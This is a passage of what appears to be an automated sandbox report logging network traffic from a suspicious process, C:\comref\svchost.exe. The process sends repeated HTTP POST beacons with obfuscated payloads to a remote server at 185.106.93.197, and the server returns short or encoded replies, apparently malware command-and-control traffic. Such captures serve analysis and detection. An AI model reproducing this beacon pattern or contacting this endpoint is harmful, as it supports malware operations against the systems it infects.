                                                                      Aug 28, 2024 11:19:03.087093115 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:03.447119951 CEST2512OUTData Raw: 5b 56 5b 5e 58 5c 5c 52 5b 57 5a 59 52 55 54 55 54 5e 5e 5b 57 5e 5a 58 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V[^X\\R[WZYRUTUT^^[W^ZX\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!8>;8]4>(%)$X"8,+:Q#83<2X+)*Z"/=[("Y %X!
                                                                      Aug 28, 2024 11:19:03.761581898 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:03.885493994 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:03 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      126192.168.2.760233185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:04.025731087 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:04.378712893 CEST2512OUTData Raw: 5b 5a 5e 5e 5d 5f 5c 57 5b 57 5a 59 52 5a 54 5c 54 5f 5e 5f 57 5e 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z^^]_\W[WZYRZT\T_^_W^Z[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";21+8; .&)6<.]2P#+,Z3/"[(9="?!(9"Y %X!;
                                                                      Aug 28, 2024 11:19:04.688695908 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:04.820894957 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:04 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      127192.168.2.760234185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:04.943450928 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:05.300679922 CEST2512OUTData Raw: 5b 5b 5b 5f 5d 50 59 5a 5b 57 5a 59 52 55 54 52 54 59 5e 53 57 5f 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[[_]PYZ[WZYRUTRTY^SW_Z^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",&?+#'20[!8V9+40]0<^+)9":<"Y %X!
                                                                      Aug 28, 2024 11:19:05.576313019 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:05.709688902 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:05 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      128192.168.2.760235185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:05.838867903 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:06.194395065 CEST2512OUTData Raw: 5b 54 5b 5e 58 5a 59 53 5b 57 5a 59 52 58 54 51 54 51 5e 52 57 54 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [T[^XZYS[WZYRXTQTQ^RWTZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS","?;<_!-71:7 (8,;2W7\&/><_&"/5]+"Y %X!3
                                                                      Aug 28, 2024 11:19:06.567233086 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:06.702517986 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:06 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      129192.168.2.760236185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:06.834367037 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      130192.168.2.760237185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:06.926649094 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:07.284961939 CEST1844OUTData Raw: 5b 52 5b 59 5d 5d 5c 57 5b 57 5a 59 52 5f 54 56 54 50 5e 5f 57 55 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [R[Y]]\W[WZYR_TVTP^_WUZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A;2]<8\7>29 !( R.9 &<^(56,2*9"Y %X!/
                                                                      Aug 28, 2024 11:19:07.552995920 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:07.682318926 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:07 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 15 37 13 23 19 26 1d 2b 02 2f 3b 2d 09 3e 05 38 13 29 54 38 1a 33 3e 38 57 26 28 2c 1c 30 2b 30 1a 30 32 29 16 24 3d 2f 56 24 36 2d 5f 06 11 26 18 23 3b 32 04 38 32 20 1f 3e 03 05 04 21 58 2b 5a 29 30 35 1e 22 2d 2f 5a 2a 2f 35 0c 2f 22 3e 0a 29 39 35 03 38 03 20 51 25 10 21 52 0c 17 21 09 3c 3a 30 13 23 16 3e 55 25 22 24 0e 34 3f 31 50 30 3f 3b 13 30 5c 23 0d 3f 38 23 0a 31 00 34 56 25 28 39 59 33 05 3b 53 39 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $7#&+/;->8)T83>8W&(,0+002)$=/V$6-_&#;282 >!X+Z)05"-/Z*/5/">)958 Q%!R!<:0#>U%"$4?1P0?;0\#?8#14V%(9Y3;S99.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      131192.168.2.760238185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:07.039352894 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:07.394404888 CEST2512OUTData Raw: 5b 51 5e 55 5d 51 59 54 5b 57 5a 59 52 5d 54 5c 54 50 5e 52 57 53 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q^U]QYT[WZYR]T\TP^RWSZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!;!2^<' >^')' 87.+1!8$['*_*)>!()"Y %X!'
                                                                      Aug 28, 2024 11:19:07.684891939 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:07.818188906 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:07 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      132192.168.2.760239185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:07.949100018 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:19:08.300662041 CEST2512OUTData Raw: 5b 5a 5e 5d 58 58 59 50 5b 57 5a 59 52 55 54 55 54 5b 5e 5a 57 53 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z^]XXYP[WZYRUTUT[^ZWSZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!E/":_>88^7,X&*<6$T:"!8,'X?:&]""*9"Y %X!
                                                                      Aug 28, 2024 11:19:08.689624071 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:08.750623941 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:08 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      133192.168.2.760240185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:08.884387016 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:09.238060951 CEST2512OUTData Raw: 5b 5b 5e 5f 5d 5d 59 57 5b 57 5a 59 52 5f 54 52 54 5d 5e 5b 57 57 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^_]]YW[WZYR_TRT]^[WWZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A82<(] > ')4Y5;.(!#(?$.(.]")("Y %X!/
                                                                      Aug 28, 2024 11:19:09.581969976 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:09.712529898 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:09 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      134192.168.2.760241185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:09.838558912 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:10.191382885 CEST2512OUTData Raw: 5b 51 5e 5c 58 5a 5c 51 5b 57 5a 59 52 59 54 57 54 51 5e 5d 57 50 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q^\XZ\Q[WZYRYTWTQ^]WPZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"/!.^>(^4.1(Z!4.+V#?'><9Y5<**9"Y %X!7
                                                                      Aug 28, 2024 11:19:10.526326895 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:10.658546925 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:10 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      135192.168.2.760242185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:10.821409941 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:11.175730944 CEST2512OUTData Raw: 5e 51 5e 5c 58 5b 59 53 5b 57 5a 59 52 5d 54 5c 54 51 5e 5a 57 5e 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q^\X[YS[WZYR]T\TQ^ZW^Z]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",._+;(Y!>+%X"+,(=4([3,"_<*X5?9]+"Y %X!'
                                                                      Aug 28, 2024 11:19:11.453984976 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:11.582411051 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:11 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      136192.168.2.760243185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:11.727475882 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:12.081866026 CEST2512OUTData Raw: 5b 52 5e 5d 58 5d 5c 52 5b 57 5a 59 52 5e 54 55 54 50 5e 5d 57 5f 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [R^]X]\R[WZYR^TUTP^]W_Z[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";!.<?!- ^')".(=78$<"[()5!,Z<9"Y %X!+
                                                                      Aug 28, 2024 11:19:12.357408047 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:12.485744953 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:12 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      137192.168.2.760244185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:12.728359938 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1832
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:13.082154989 CEST1832OUTData Raw: 5b 5b 5e 5f 58 5c 59 54 5b 57 5a 59 52 5c 54 57 54 5d 5e 52 57 52 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^_X\YT[WZYR\TWT]^RWRZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!8*(#- \1:#"; .;S4(+',-+:"6/=<9"Y %X!/
                                                                      Aug 28, 2024 11:19:13.408533096 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:13.536355972 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:13 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 27 01 23 3e 33 51 25 1d 20 1e 2c 5e 32 56 29 02 37 00 29 21 2c 59 27 3e 0d 0a 30 38 06 12 24 16 05 41 30 32 08 04 33 03 3b 1c 26 0c 2d 5f 06 11 26 1a 21 2b 35 15 38 31 23 0a 2a 2d 28 58 22 10 27 59 29 0d 25 52 20 2d 33 17 2a 02 2a 54 3b 08 3a 0e 28 39 3d 05 2f 3e 3c 56 25 00 21 52 0c 17 22 56 3c 39 3b 00 37 01 39 0f 24 22 23 52 22 3c 2d 55 27 2f 37 54 24 39 3c 55 28 06 30 52 26 10 27 0e 32 38 3d 58 30 3f 24 08 39 29 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: '#>3Q% ,^2V)7)!,Y'>08$A023;&-_&!+581#*-(X"'Y)%R -3**T;:(9=/><V%!R"V<9;79$"#R"<-U'/7T$9<U(0R&'28=X0?$9).S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      138192.168.2.760245185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:12.863131046 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
